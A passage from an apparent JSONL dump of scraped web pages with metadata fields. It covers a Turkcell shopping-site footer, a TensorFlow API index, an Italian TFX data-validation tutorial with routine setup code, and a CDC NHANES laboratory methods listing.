Kulakl\u0131klar\nTabletler\nLaptop\nOyun Bilgisayarlar\u0131\nDikey S\u00fcp\u00fcrgeler\nRobot S\u00fcp\u00fcrgeler\nKahve Makineleri\nTelevizyon\nAirfryer\nKulakl\u0131klar\n\u00c7ocuk Ak\u0131ll\u0131 Saat\nKulaki\u00e7i Kulakl\u0131k\nKettle\nSa\u00e7 D\u00fczle\u015ftirici\nAirpods\nT\u00fcm\u00fcn\u00fc G\u00f6r\nYard\u0131m\nYard\u0131m Merkezi\n\u0130\u015flem Rehberi\n\u00dcr\u00fcn G\u00fcvenli\u011fi Temas Noktas\u0131\nNas\u0131l \u0130ade Edebilirim?\nPasaj Sipari\u015f Sorgulama\niPhone Kar\u015f\u0131la\u015ft\u0131rma\nTelevizyon (TV) Kar\u015f\u0131la\u015ft\u0131rma\nTelefon Sat\nPop\u00fcler Marka Kategoriler\nSamsung Telefonlar\nJBL Kulakl\u0131k\nPhilips Kahve Makinesi\nSamsung Tablet\nDyson Sa\u00e7 D\u00fczle\u015ftirici\nPhilips Dikey S\u00fcp\u00fcrge\nPhilips S\u00fcp\u00fcrge\nKaraca Kahve Makinesi\nPhilips Airfryer\nApple Kulakl\u0131k\nDyson Hava Temizleyici\nHuawei Ak\u0131ll\u0131 Saat\nPhilips \u00dct\u00fc\nJBL Hoparl\u00f6r\nApple Tablet\nXiaomi Telefon\nXiaomi Ak\u0131ll\u0131 Saat\nSamsung Ak\u0131ll\u0131 Saat\nAsus Laptop\nHuawei Tablet\nDyson Robot S\u00fcp\u00fcrge\nHuawei Telefon\nStanley Termos\nT\u00fcm\u00fcn\u00fc G\u00f6r\nMarkalar\nApple\nSamsung\nDyson\nAnker\nArzum\nBeko\nBosch\nBraun\nCasper\nDelonghi\nHuawei\nJBL\nKaraca\nKarcher\nLego\nLenovo\nOmix\nPhilips\nRealme\nXiaomi\nVestel\nTCL\nSony\nSiemens\nT\u00fcm\u00fcn\u00fc G\u00f6r\n\u00d6zel G\u00fcnler & Kampanyalar\nRamazan Tarifleri & Ramazan Kampanyalar\u0131\nD\u00fc\u011f\u00fcn ve \u00c7eyiz Paketleri\nF\u0131rsatlar Pasaj\u0131\nPasaj G\u00fcnleri\nUykusu Ka\u00e7anlar Kul\u00fcb\u00fc\nSevgililer G\u00fcn\u00fc Hediyeleri\nVergisiz Telefonlar\nVergisiz Bilgisayarlar\nKarne Hediyeleri\nKurban Bayram\u0131 Kampanyas\u0131\nResmi Tatil G\u00fcnleri\nPasaj \u00d6deme Teklifleri\nAnneler G\u00fcn\u00fc Hediyeleri\nBabalar G\u00fcn\u00fc\nTaksitli Harikalar Diyar\u0131\nOkula D\u00f6n\u00fc\u015f Kampanyas\u0131\nT\u00fcm\u00fcn\u00fc G\u00f6r\nPop\u00fcler \u00dcr\u00fcnler\niPhone 17\niPhone 16\niPhone Air\niPhone 16 Pro Max\niPhone 17 Pro Max\niPhone 16E\niPhone 15\niPhone 15 Plus\niPhone 15 Pro\niPhone 15 Pro Max\niPhone 14\niPhone 14 Plus\niPhone 14 Pro\niPhone 14 Pro Max\niPhone 13\niPhone 12\niPhone 11\niPhone SE\nDyson Airwrap\nDyson V15\nDyson V15 Detect Submarine\nDyson Airstrait\nDyson V12\nDyson V8\nSamsung Galaxy S25\nSamsung Galaxy S25 Ultra\nPS5 / Playstation 5\nPS4 / Playstation 4\nNintendo Switch\nXbox Series S\nXbox Series X\nT\u00fcm\u00fcn\u00fc G\u00f6r\nT\u00fcrk\u00e7e\nEnglish\n\u0639\u0631\u0628\u0649\n\u0440\u0443\u0441\u0441\u043a\u0438\u0439\nGizlilik ve G\u00fcvenlik\n\u00a9 2025 Turkcell\nHatal\u0131 Giri\u015f\npassage.modal.login.error.text\nKapat\n\u00c7\u0131k\u0131\u015f yapmak istedi\u011finize emin misiniz?\nVazge\u00e7 \u00c7\u0131k\u0131s Yap\npassage.modal.login.timeout.info.title\npassage.modal.login.timeout.info.desc\npassage.modal.login.timeout.logout passage.modal.login.timeout.continue", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/3f1fb337-0754-49df-9e21-a39dbed66588", "content_hash": "8596f81c33c6b702124ec8d78fb5a59e733565204dd0e4294eab59d0d2e04ace", "created_at": "2026-03-28T05:11:12.245680370Z"} +{"id": "eaf18c08-52e5-47f5-99e5-4e9316bfe774", "source": "brain", "text": "tf.extract_volume_patches | TensorFlow v2.4.0\n\ntf.extract_volume_patches | TensorFlow v2.4.0\nSkip to main content\nInstall Learn\nIntroduction\nNew to TensorFlow?\nTutorials\nLearn how to use TensorFlow with end-to-end examples\nGuide\nLearn framework concepts and components\nLearn ML\nEducational resources to master your path with TensorFlow\nAPI\nTensorFlow (v2.16.1)\nVersions\u2026\nTensorFlow.js\nTensorFlow Lite\nTFX\nEcosystem\nLIBRARIES\nTensorFlow.js\nDevelop web ML applications in JavaScript\nTensorFlow Lite\nDeploy ML on mobile, microcontrollers and other edge devices\nTFX\nBuild production ML pipelines\nAll libraries\nCreate advanced models and extend TensorFlow\nRESOURCES\nModels & datasets\nPre-trained models and datasets built by Google and the community\nTools\nTools to support and accelerate TensorFlow workflows\nResponsible AI\nResources for every stage of the ML workflow\nRecommendation systems\nBuild recommendation systems with open source tools\nCommunity\nGroups\nUser groups, interest groups and mailing lists\nContribute\nGuide for contributing to code and documentation\nBlog\nStay up to date with all things TensorFlow\nForum\nDiscussion platform for the TensorFlow community\nWhy TensorFlow\nAbout\nCase studies\n/\nEnglish\n\u4e2d\u6587 \u2013 \u7b80\u4f53\nGitHub Sign in\nTensorFlow v2.4.0\nOverview Python C++ Java\nInstall\nLearn\nMore\nAPI\nMore\nOverview\nPython\nC++\nJava\nEcosystem\nMore\nCommunity\nMore\nWhy TensorFlow\nMore\nGitHub\nOverview\nAll Symbols\nPython v2.4.0\ntf\nOverview\nAggregationMethod\nCriticalSection\nDeviceSpec\nGradientTape\nGraph\nIndexedSlices\nIndexedSlicesSpec\nModule\nOperation\nOptionalSpec\nRaggedTensor\nRaggedTensorSpec\nRegisterGradient\nSparseTensorSpec\nTensor\nTensorArray\nTensorArraySpec\nTensorShape\nTensorSpec\nTypeSpec\nUnconnectedGradients\nVariable\nVariable.SaveSliceInfo\nVariableAggregation\nVariableSynchronization\nargsort\nbatch_to_space\nbitcast\nboolean_mask\nbroadcast_dynamic_shape\nbroadcast_static_shape\nbroadcast_to\ncase\ncast\nclip_by_global_norm\nclip_by_norm\nclip_by_value\nconcat\ncond\nconstant\nconstant_initializer\ncontrol_dependencies\nconvert_to_tensor\ncustom_gradient\ndevice\ndynamic_partition\ndynamic_stitch\nedit_distance\neinsum\nensure_shape\nexecuting_eagerly\nexpand_dims\nextract_volume_patches\neye\nfill\nfingerprint\nfoldl\nfoldr\nfunction\ngather\ngather_nd\nget_logger\nget_static_value\ngrad_pass_through\ngradients\ngroup\nguarantee_const\nhessians\nhistogram_fixed_width\nhistogram_fixed_width_bins\nidentity\nidentity_n\ninit_scope\ninside_function\nis_tensor\nlinspace\nload_library\nload_op_library\nmake_ndarray\nmake_tensor_proto\nmap_fn\nmeshgrid\nname_scope\nno_gradient\nno_op\nnondifferentiable_batch_function\nnorm\nnumpy_function\none_hot\nones\nones_initializer\nones_like\npad\nparallel_stack\nprint\npy_function\nquantize_and_dequantize_v4\nrandom_normal_initializer\nrandom_uniform_initializer\nrange\nrank\nrealdiv\nrecompute_grad\nregister_tensor_conversion_function\nrepeat\nrequired_space_to_batch_paddings\nreshape\nreverse\nreverse_sequence\nroll\nscan\nscatter_nd\nsearchsorted\nsequence_mask\nshape\nshape_n\nsize\nslice\nsort\nspace_to_batch\nspace_to_batch_nd\nsplit\nsqueeze\nstack\nstop_gradient\nstrided_slice\nswitch_case\ntensor_scatter_nd_add\ntensor_scatter_nd_max\ntensor_scatter_nd_min\ntensor_scatter_nd_sub\ntensor_scatter_nd_update\ntensordot\ntile\ntimestamp\ntranspose\ntruncatediv\ntruncatemod\ntuple\ntype_spec_from_value\nunique\nunique_with_counts\nunravel_index\nunstack\nvariable_creator_scope\nvectorized_map\nwhere\nwhile_loop\nzeros\nzeros_initializer\nzeros_like\ntf.audio\nOverview\ndecode_wav\nencode_wav\ntf.autodiff\nOverview\nForwardAccumulator\ntf.autograph\nOverview\nset_verbosity\nto_code\nto_graph\ntrace\nexperimental\nOverview\nFeature\ndo_not_convert\nset_loop_options\ntf.bitwise\nOverview\nbitwise_and\nbitwise_or\nbitwise_xor\ninvert\nleft_shift\nright_shift\ntf.compat\nOverview\nas_bytes\nas_str\nas_str_any\nas_text\ndimension_at_index\ndimension_value\nforward_compatibility_horizon\nforward_compatible\npath_to_str\nv1\nOverview\nAttrValue\nAttrValue.ListValue\nConditionalAccumulator\nConditionalAccumulatorBase\nConfigProto\nConfigProto.DeviceCountEntry\nConfigProto.Experimental\nDeviceSpec\nDimension\nEvent\nFixedLengthRecordReader\nGPUOptions\nGPUOptions.Experimental\nGPUOptions.Experimental.VirtualDevices\nGraphDef\nGraphKeys\nGraphOptions\nHistogramProto\nIdentityReader\nInteractiveSession\nLMDBReader\nLogMessage\nMetaGraphDef\nMetaGraphDef.CollectionDefEntry\nMetaGraphDef.MetaInfoDef\nMetaGraphDef.MetaInfoDef.FunctionAliasesEntry\nMetaGraphDef.SignatureDefEntry\nNameAttrList\nNameAttrList.AttrEntry\nNodeDef\nNodeDef.AttrEntry\nNodeDef.ExperimentalDebugInfo\nOptimizerOptions\nPrint\nReaderBase\nRunMetadata\nRunMetadata.FunctionGraphs\nRunOptions\nRunOptions.Experimental\nRunOptions.Experimental.RunHandlerPoolOptions\nSession\nSessionLog\nSparseConditionalAccumulator\nSparseTensorValue\nSummary\nSummary.Audio\nSummary.Image\nSummary.Value\nSummaryMetadata\nSummaryMetadata.PluginData\nTFRecordReader\nTensorInfo\nTensorInfo.CompositeTensor\nTensorInfo.CooSparse\nTextLineReader\nVariable\nVariableAggregation\nVariableScope\nWholeFileReader\nadd_check_numerics_ops\nadd_to_collection\nadd_to_collections\nall_variables\narg_max\narg_min\nargmax\nargmin\nassert_equal\nassert_greater\nassert_greater_equal\nassert_integer\nassert_less\nassert_less_equal\nassert_near\nassert_negative\nassert_non_negative\nassert_non_positive\nassert_none_equal\nassert_positive\nassert_rank\nassert_rank_at_least\nassert_rank_in\nassert_scalar\nassert_type\nassert_variables_initialized\nassign\nassign_add\nassign_sub\nbatch_gather\nbatch_scatter_update\nbatch_to_space\nbatch_to_space_nd\nbincount\nboolean_mask\ncase\nclip_by_average_norm\ncolocate_with\ncond\nconfusion_matrix\nconstant\ncontainer\ncontrol_flow_v2_enabled\nconvert_to_tensor\nconvert_to_tensor_or_indexed_slices\nconvert_to_tensor_or_sparse_tensor\ncount_nonzero\ncount_up_to\ncreate_partitioned_variables\ndecode_csv\ndecode_raw\ndelete_session_tensor\ndepth_to_space\ndevice\ndisable_control_flow_v2\ndisable_eager_execution\ndisable_resource_variables\ndisable_tensor_equality\ndisable_v2_behavior\ndisable_v2_tensorshape\nenable_control_flow_v2\nenable_eager_execution\nenable_resource_variables\nenable_tensor_equality\nenable_v2_behavior\nenable_v2_tensorshape\nexecuting_eagerly\nexecuting_eagerly_outside_functions\nexpand_dims\nextract_image_patches\nfixed_size_partitioner\nfloor_div\nfoldl\nfoldr\ngather\ngather_nd\nget_collection\nget_collection_ref\nget_default_graph\nget_default_session\nget_local_variable\nget_seed\nget_session_handle\nget_session_tensor\nget_variable\nget_variable_scope\nglobal_variables\nglobal_variables_initializer\ngradients\nhessians\ninitialize_all_tables\ninitialize_all_variables\ninitialize_local_variables\ninitialize_variables\nis_variable_initialized\nload_file_system_library\nlocal_variables\nlocal_variables_initializer\nmake_template\nmap_fn\nmin_max_variable_partitioner\nmodel_variables\nmoving_average_variables\nmultinomial\nno_regularizer\nnorm\nones_like\nop_scope\npad\nparse_example\nparse_single_example\nplaceholder\nplaceholder_with_default\npy_func\nquantize_v2\nrandom_normal_initializer\nrandom_poisson\nrandom_uniform_initializer\nreduce_all\nreduce_any\nreduce_join\nreduce_logsumexp\nreduce_max\nreduce_mean\nreduce_min\nreduce_prod\nreduce_sum\nreport_uninitialized_variables\nreset_default_graph\nresource_variables_enabled\nreverse_sequence\nscalar_mul\nscan\nscatter_add\nscatter_div\nscatter_max\nscatter_min\nscatter_mul\nscatter_nd_add\nscatter_nd_sub\nscatter_nd_update\nscatter_sub\nscatter_update\nserialize_many_sparse\nserialize_sparse\nset_random_seed\nsetdiff1d\nshape\nsize\nspace_to_batch\nspace_to_depth\nsparse_add\nsparse_concat\nsparse_matmul\nsparse_merge\nsparse_placeholder\nsparse_reduce_max\nsparse_reduce_max_sparse\nsparse_reduce_sum\nsparse_reduce_sum_sparse\nsparse_segment_mean\nsparse_segment_sqrt_n\nsparse_segment_sum\nsparse_split\nsparse_to_dense\nsqueeze\nstring_split\nstring_to_hash_bucket\nstring_to_number\nsubstr\ntables_initializer\nto_bfloat16\nto_complex128\nto_complex64\nto_double\nto_float\nto_int32\nto_int64\ntrainable_variables\ntranspose\ntruncated_normal_initializer\ntuple\nuniform_unit_scaling_initializer\nvariable_axis_size_partitioner\nvariable_creator_scope\nvariable_op_scope\nvariable_scope\nvariables_initializer\nverify_tensor_all_finite\nwhere\nwhile_loop\nwrap_function\nz", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/eaf18c08-52e5-47f5-99e5-4e9316bfe774", "content_hash": "dfe5bd6e6d6a9b79d690cdf93ab1b2c00c5b10b975a362969a9d0d856237d99b", "created_at": "2026-03-28T05:11:12.170747130Z"} +{"id": "f1993be5-0fdc-4988-b882-a6f3d9cab61b", "source": "brain", "text": "Convalida dei dati utilizzando TFX Pipeline e TensorFlow Data Validation\n\nConvalida dei dati utilizzando TFX Pipeline e TensorFlow Data Validation\nPassa ai contenuti principali\nInstalla Apprendimento\nPresentazione\nNuovo su TensorFlow?\nTutorial\nScopri come utilizzare TensorFlow con esempi end-to-end\nGuida\nImpara i concetti e i componenti del framework\nImpara ML\nRisorse formative per padroneggiare il tuo percorso con TensorFlow\nAPI\nTensorFlow (v2.16.1)\nVersions\u2026\nTensorFlow.js\nTensorFlow Lite\nTFX\nEcosistema\nBIBLIOTECHE\nTensorFlow.js\nSviluppa applicazioni Web ML in JavaScript\nTensorFlow Lite\nDistribuisci il machine learning su dispositivi mobili, microcontrollori e altri dispositivi edge\nTFX\nCostruisci pipeline di machine learning di produzione\nTutte le librerie\nCrea modelli avanzati ed estendi TensorFlow\nRISORSE\nModelli e set di dati\nModelli e set di dati pre-addestrati creati da Google e dalla community\nStrumenti\nStrumenti per supportare e accelerare i flussi di lavoro TensorFlow\nAI responsabile\nRisorse per ogni fase del flusso di lavoro ML\nSistemi di consigli\nCostruisci sistemi di consigli con strumenti open source\nCommunity\nGruppi\nGruppi di utenti, gruppi di interesse e mailing list\nContribuisci\nGuida per contribuire al codice e alla documentazione\nBlog\nRimani aggiornato su tutto ci\u00f2 che riguarda TensorFlow\nForum\nPiattaforma di discussione per la comunit\u00e0 TensorFlow\nPerch\u00e9 TensorFlow\nInformazioni\nCase study\n/\nEnglish\nEspa\u00f1ol \u2013 Am\u00e9rica Latina\nFran\u00e7ais\nIndonesia\nItaliano\nPolski\nPortugu\u00eas \u2013 Brasil\nTi\u00ea\u0301ng Vi\u00ea\u0323t\nT\u00fcrk\u00e7e\n\u0420\u0443\u0441\u0441\u043a\u0438\u0439\n\u05e2\u05d1\u05e8\u05d9\u05ea\n\u0627\u0644\u0639\u0631\u0628\u064a\u0651\u0629\n\u0641\u0627\u0631\u0633\u06cc\n\u0939\u093f\u0902\u0926\u0940\n\u09ac\u09be\u0982\u09b2\u09be\n\u0e20\u0e32\u0e29\u0e32\u0e44\u0e17\u0e22\n\u4e2d\u6587 \u2013 \u7b80\u4f53\n\u65e5\u672c\u8a9e\n\ud55c\uad6d\uc5b4\nGitHub Accedi\nFor Production\nPanoramica Tutorial Guida Componenti aggiuntivi TFX API\nInstalla\nApprendimento\nAltro\nPanoramica\nTutorial\nGuida\nComponenti aggiuntivi TFX\nAPI\nAPI\nAltro\nEcosistema\nAltro\nCommunity\nAltro\nPerch\u00e9 TensorFlow\nAltro\nGitHub\nInizia con TFX\nTFX: tutorial introduttivi\n1. Gasdotto di avviamento\n2. Aggiunta della convalida dei dati\n3. Aggiunta dell'ingegneria delle funzionalit\u00e0\n4. Aggiunta dell'analisi del modello\nTFX: tutorial interattivi\nTutorial interattivo (TF2 Keras)\nTutorial interattivo (Estimatore)\nTFX su Google Cloud\nIn esecuzione su tubazioni Vertex\nLeggere i dati da BigQuery\nVertex AI Addestramento e servizio\nTutorial Cloud AI Platform Pipelines\nTFX: tutorial avanzati\nMessa a punto e conversione LLM\nEsercitazione sui componenti personalizzati\nConsigli con TFX\nClassifica con TFX\nTutorial sul flusso d'aria\nApprendimento strutturato neurale in TFX\nConvalida dei dati\nInizia con TFDV\nTrasforma\nPreelabora i dati (principiante)\nPreelabora i dati (avanzato)\nPreelaborazione dei dati per ML con Google Cloud\nAnalisi del modello\nInizia con TFMA\nEsercitazione sugli indicatori di equit\u00e0\nDistribuire un modello addestrato\nServer: TFX per TensorFlow Serving\nMobile e IoT: TFX per TensorFlow Lite\nMetadati ML\nInizia con MLMD\nPresentazione\nTutorial\nGuida\nImpara ML\nTensorFlow (v2.16.1)\nVersions\u2026\nTensorFlow.js\nTensorFlow Lite\nTFX\nBIBLIOTECHE\nTensorFlow.js\nTensorFlow Lite\nTFX\nTutte le librerie\nRISORSE\nModelli e set di dati\nStrumenti\nAI responsabile\nSistemi di consigli\nGruppi\nContribuisci\nBlog\nForum\nInformazioni\nCase study\nTensorFlow\nApprendimento\nFor Production\nTutorial\nConvalida dei dati utilizzando TFX Pipeline e TensorFlow Data Validation Mantieni tutto organizzato con le raccolte Salva e classifica i contenuti in base alle tue preferenze.\nNota: Si consiglia di eseguire questo tutorial in un notebook Colab, con nessuna installazione richiesta! Basta fare clic su \"Esegui in Google Colab\".\nVisualizza su TensorFlow.org Esegui in Google Colab Visualizza la fonte su GitHub Scarica taccuino\nIn questo tutorial basato su notebook, creeremo ed eseguiremo pipeline TFX per convalidare i dati di input e creare un modello ML. Questo notebook \u00e8 basato sul gasdotto TFX abbiamo costruito in semplice TFX Pipeline Tutorial . Se non hai ancora letto quel tutorial, dovresti leggerlo prima di procedere con questo taccuino.\nLa prima attivit\u00e0 in qualsiasi data science o progetto ML \u00e8 comprendere e pulire i dati, che includono:\nComprendere i tipi di dati, le distribuzioni e altre informazioni (ad esempio, valore medio o numero di univoci) su ciascuna caratteristica\nGenerazione di uno schema preliminare che descrive i dati\nIdentificazione di anomalie e valori mancanti nei dati rispetto a uno schema dato\nIn questo tutorial creeremo due pipeline TFX.\nInnanzitutto, creeremo una pipeline per analizzare il set di dati e generare uno schema preliminare del set di dati specificato. Questo gasdotto comprender\u00e0 due nuovi componenti, StatisticsGen e SchemaGen .\nUna volta che avremo uno schema corretto dei dati, creeremo una pipeline per addestrare un modello di classificazione ML basato sulla pipeline del tutorial precedente. In questo gasdotto, useremo lo schema dalla prima pipeline e un nuovo componente, ExampleValidator , per convalidare i dati di input.\nI tre nuovi componenti, StatisticsGen, SchemaGen e ExampleValidator, sono componenti TFX per l'analisi dei dati e la validazione, e la loro applicazione utilizzando il tensorflow Data Validation biblioteca.\nSi prega di consultare Capire TFX Pipelines per conoscere meglio i vari concetti in TFX.\nImpostare\nPer prima cosa dobbiamo installare il pacchetto TFX Python e scaricare il set di dati che utilizzeremo per il nostro modello.\nAggiorna Pip\nPer evitare di aggiornare Pip in un sistema durante l'esecuzione in locale, verificare che stiamo eseguendo in Colab. I sistemi locali possono ovviamente essere aggiornati separatamente.\ntry:\n import colab\n !pip install --upgrade pip\nexcept:\n pass\nInstalla TFX\n\npip install -U tfx\nHai riavviato il runtime?\nSe stai utilizzando Google Colab, la prima volta che esegui la cella in alto, devi riavviare il runtime facendo clic sul pulsante \"RIAVVIA RUNTIME\" sopra o utilizzando il menu \"Runtime > Riavvia runtime ...\". Ci\u00f2 \u00e8 dovuto al modo in cui Colab carica i pacchetti.\nControlla le versioni TensorFlow e TFX.\nimport tensorflow as tf\nprint('TensorFlow version: {}'.format(tf.__version__))\nfrom tfx import v1 as tfx\nprint('TFX version: {}'.format(tfx.__version__))\n\nTensorFlow version: 2.6.2\nTFX version: 1.4.0\nImposta variabili\nCi sono alcune variabili usate per definire una pipeline. Puoi personalizzare queste variabili come desideri. Per impostazione predefinita, tutto l'output dalla pipeline verr\u00e0 generato nella directory corrente.\nimport os\n\n# We will create two pipelines. One for schema generation and one for training.\nSCHEMA_PIPELINE_NAME = \"penguin-tfdv-schema\"\nPIPELINE_NAME = \"penguin-tfdv\"\n\n# Output directory to store artifacts generated from the pipeline.\nSCHEMA_PIPELINE_ROOT = os.path.join('pipelines', SCHEMA_PIPELINE_NAME)\nPIPELINE_ROOT = os.path.join('pipelines', PIPELINE_NAME)\n# Path to a SQLite DB file to use as an MLMD storage.\nSCHEMA_METADATA_PATH = os.path.join('metadata', SCHEMA_PIPELINE_NAME,\n 'metadata.db')\nMETADATA_PATH = os.path.join('metadata', PIPELINE_NAME, 'metadata.db')\n\n# Output directory where created models from the pipeline will be exported.\nSERVING_MODEL_DIR = os.path.join('serving_model', PIPELINE_NAME)\n\nfrom absl import logging\nlogging.set_verbosity(logging.INFO) # Set default logging level.\nPrepara dati di esempio\nScaricheremo il set di dati di esempio da utilizzare nella nostra pipeline TFX. Il set di dati che stiamo usando \u00e8 Palmer Penguins set di dati che viene utilizzato anche in altri esempi TFX .\nCi sono quattro caratteristiche numeriche in questo set di dati:\nculmen_length_mm\nculmen_depth_mm\nflipper_length_mm\nbody_mass_g\nTutte le caratteristiche erano gi\u00e0 normalizzate per avere un intervallo [0,1]. Costruiremo un modello di classificazione che prevede le species di pinguini.\nPoich\u00e9 il componente TFX ExampleGen legge gli input da una directory, \u00e8 necessario creare una directory e copiarvi il set di dati.\nimport urllib.request\nimport tempfile\n\nDATA_ROOT = tempfile.mkdtemp(prefix='tfx-data') # Create a temporary directory.\n_data_url = 'https://raw.githubusercontent.com/tensorflow/tfx/master/tfx/examples/penguin/data/label", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/f1993be5-0fdc-4988-b882-a6f3d9cab61b", "content_hash": "cec10a01f851ad18646e2f68736f5a3e52944035c5f181ac887fb672223b2d4e", "created_at": "2026-03-28T05:11:11.636874659Z"} +{"id": "c436036b-9b84-42e0-8685-695f42639f35", "source": "brain", "text": "NHANES August 2021-August 2023 Laboratory Methods\n\nNHANES August 2021-August 2023 Laboratory Methods\nSkip directly to site content\nCenters for Disease Control and Prevention. CDC twenty four seven. Saving Lives, Protecting People Centers for Disease Control and Prevention. CDC twenty four seven. Saving Lives, Protecting People\nNational Center for Health Statistics\nSection Navigation National Health and Nutrition Examination Survey\nAbout NHANES plus icon\nVideo: The NHANES Story\nWhat We Eat in America, Dietary Survey\nMeet the Directors\nNewsletters plus icon\n2010 NHANES Stakeholders Consortium Presentations\nEthics Review Board (ERB) Approval\nWhat's New plus icon\nArchive\nQuestionnaires, Datasets, and Related Documentation plus icon\nSurvey Methods and Analytic Guidelines\nData User Agreement\nSearch Variables\nFrequently Asked Questions\nAll Continuous NHANES plus icon\nAll Demographics Data\nAll Dietary Data\nAll Examination Data\nAll Laboratory Data\nAll Questionnaire Data\nAll Limited Access Data\nNHANES 2025-2026 plus icon\nQuestionnaire Instruments\nLaboratory Methods\nProcedure Manuals\nBrochures and Consent Documents\nBrief Overview and Analytic Guidance\nWhat We Eat in America, NHANES Dietary Data: Notice to Users\nRelease Notes\nNHANES 08/2021-08/2023 plus icon\nDemographics Data\nDietary Data\nExamination Data\nLaboratory Data\nQuestionnaire Data\nLimited Access Data\nQuestionnaire Instruments\nLaboratory Methods\nProcedure Manuals\nBrochures and Consent Documents\nBrief Overview and Analytic Guidance\nWhat We Eat in America, NHANES Dietary Data: Notice to Users\nRelease Notes\nNHANES 2017-March 2020 plus icon\nDemographics Data\nDietary Data\nExamination Data\nLaboratory Data\nQuestionnaire Data\nLimited Access Data\nQuestionnaire Instruments\nLaboratory Methods\nProcedure Manuals\nBrochures and Consent Documents\nBrief Overview and Analytic Guidance\nRelease Notes\nNHANES 2019-2020 plus icon\nLimited Access Data\nQuestionnaire Instruments\nLaboratory Methods\nProcedure Manuals\nBrochures and Consent Documents\nNHANES 2017-2018 plus icon\nDemographics Data\nDietary Data\nExamination Data\nLaboratory Data\nQuestionnaire Data\nLimited Access Data\nQuestionnaire Instruments\nLaboratory Methods\nProcedure Manuals\nBrochures and Consent Documents\nOverview\nRelease Notes\nLaboratory Data Overview\nQuestionnaire Data Overview\nExamination Data Overview\nNHANES 2015-2016 plus icon\nDemographics Data\nDietary Data\nExamination Data\nLaboratory Data\nQuestionnaire Data\nLimited Access Data\nQuestionnaire Instruments\nLaboratory Methods\nProcedure Manuals\nBrochures and Consent Documents\nOverview\nRelease Notes\nLaboratory Data Overview\nQuestionnaire Data Overview\nExamination Data Overview\nNHANES 2013-2014 plus icon\nDemographics Data\nDietary Data\nExamination Data\nLaboratory Data\nQuestionnaire Data\nLimited Access Data\nQuestionnaire Instruments\nLaboratory Methods\nProcedure Manuals\nBrochures and Consent Documents\nOverview\nRelease Notes\nLaboratory Data Overview\nQuestionnaire Data Overview\nExamination Data Overview\nNHANES 2011-2012 plus icon\nDemographics Data\nDietary Data\nExamination Data\nLaboratory Data\nQuestionnaire Data\nLimited Access Data\nQuestionnaire Instruments\nLaboratory Methods\nProcedure Manuals\nBrochures and Consent Documents\nOverview\nRelease Notes\nLaboratory Data Overview\nQuestionnaire Data Overview\nExamination Data Overview\nNHANES 2009-2010 plus icon\nDemographics Data\nDietary Data\nExamination Data\nLaboratory Data\nQuestionnaire Data\nLimited Access Data\nQuestionnaire Instruments\nLaboratory Methods\nProcedure Manuals\nBrochures and Consent Documents\nRelease Notes\nLaboratory Data Overview\nQuestionnaire Data Overview\nExamination Data Overview\nNHANES 2007-2008 plus icon\nDemographics Data\nDietary Data\nExamination Data\nLaboratory Data\nQuestionnaire Data\nLimited Access Data\nQuestionnaire Instruments\nLaboratory Methods\nProcedure Manuals\nBrochures and Consent Documents\nRelease Notes\nLaboratory Data Overview\nQuestionnaire Data Overview\nExamination Data Overview\nNote on 2007-2010 Sampling Methodology\nNHANES 2005-2006 plus icon\nDemographics Data\nDietary Data\nExamination Data\nLaboratory Data\nQuestionnaire Data\nLimited Access Data\nQuestionnaire Instruments\nLaboratory Methods\nProcedure Manuals\nBrochures and Consent Documents\nLaboratory Data Overview\nQuestionnaire Data Overview\nExamination Data Overview\nNHANES 2003-2004 plus icon\nDemographics Data\nDietary Data\nExamination Data\nLaboratory Data\nQuestionnaire Data\nLimited Access Data\nQuestionnaire Instruments\nLaboratory Methods\nProcedure Manuals\nBrochures and Consent Documents\nLaboratory Data Overview\nQuestionnaire Data Overview\nExamination Data Overview\nNHANES 2001-2002 plus icon\nDemographics Data\nDietary Data\nExamination Data\nLaboratory Data\nQuestionnaire Data\nLimited Access Data\nQuestionnaire Instruments\nLaboratory Methods\nProcedure Manuals\nBrochures and Consent Documents\nLaboratory Data Overview\nQuestionnaire Data Overview\nExamination Data Overview\nNHANES 1999-2000 plus icon\nDemographics Data\nDietary Data\nExamination Data\nLaboratory Data\nQuestionnaire Data\nLimited Access Data\nQuestionnaire Instruments\nLaboratory Methods\nProcedure Manuals\nBrochures and Consent Documents\nDocumentation Contents\nLaboratory Data Overview\nQuestionnaire Data Overview\nExamination Data Overview\nNHANES III plus icon\nReference Manuals and Report\nAnthropometric Procedure Videos\nSurvey Methods and Analytic Guidelines\nNHANES III Public Use Data Files Errata\nSerum Latex Allergy (IgE) Data Analysis Issues\nData Files\nHispanic HANES plus icon\nReference Manuals and Report\nSurvey Methods and Analytic Guidelines\nNHANES II plus icon\nReference Manuals and Report\nSurvey Methods and Analytic Guidelines\nNHANES I plus icon\nReference Manuals and Reports\nSurvey Methods and Analytic Guidelines\nNHES III plus icon\nReference Manuals and Reports\nSurvey Methods and Analytic Guidelines\nNHES II plus icon\nReference Manuals and Reports\nSurvey Methods and Analytic Guidelines\nNHES I plus icon\nReference Manuals and Reports\nSurvey Methods and Analytic Guidelines\nMeasuring Guides for the Dietary Recall Interview\nResponse Rates and Population Totals\nSAS Viewer\nSurvey Participants plus icon\nParticipation plus icon\nEnglish\nVietnamese Translation\nSimplified Chinese Translation\nTraditional Chinese Translation\nKorean Translation\nSpanish Translation\nFrench Translation\nHaitian Creole Translation\nAmharic Translation\nHindi Translation\nWhy I was selected\nBenefits of Participating\nInformation Collected\nConfidentiality\nAbout NHANES\nBiospecimen Program plus icon\nDNA Specimens and Genetic Data\nSerum, Plasma, and Urine Specimens\nPublications using DNA Specimens\nPublications using Serum, Plasma, and Urine Specimens\nInformation for Participants\nNew Content and Proposal Guidelines\nSurvey Results and Products plus icon\nOverview of Data Accomplishments from NHANES\nTutorials plus icon\nDatasets and Documentation Module\nSample Design Module\nWeighting Module\nVariance Estimation Module\nReliability of Estimates Module\nNHANES Dietary Analyses Module\nSample Code\nSoftware Tips\nListserv\nInformation for Health Professionals\nContact Us\nCDC\nFacebook\nTwitter\nLinkedIn\nEmail\nSyndicate\nNHANES August 2021-August 2023 Laboratory Methods\nminus\nRelated Pages\nYears\nLab Method Name\nDocumentation\nRelease Date\n2021-2023 Alanine Aminotransferase (ALT) [PDF - 976 KB] September 2025\n2021-2023 Albumin [PDF - 970 KB] September 2025\n2021-2023 Alkaline Phosphatase (ALP) [PDF - 937 KB] September 2025\n2021-2023 alpha-1-Acid Glycoprotein [PDF - 1.35 MB] 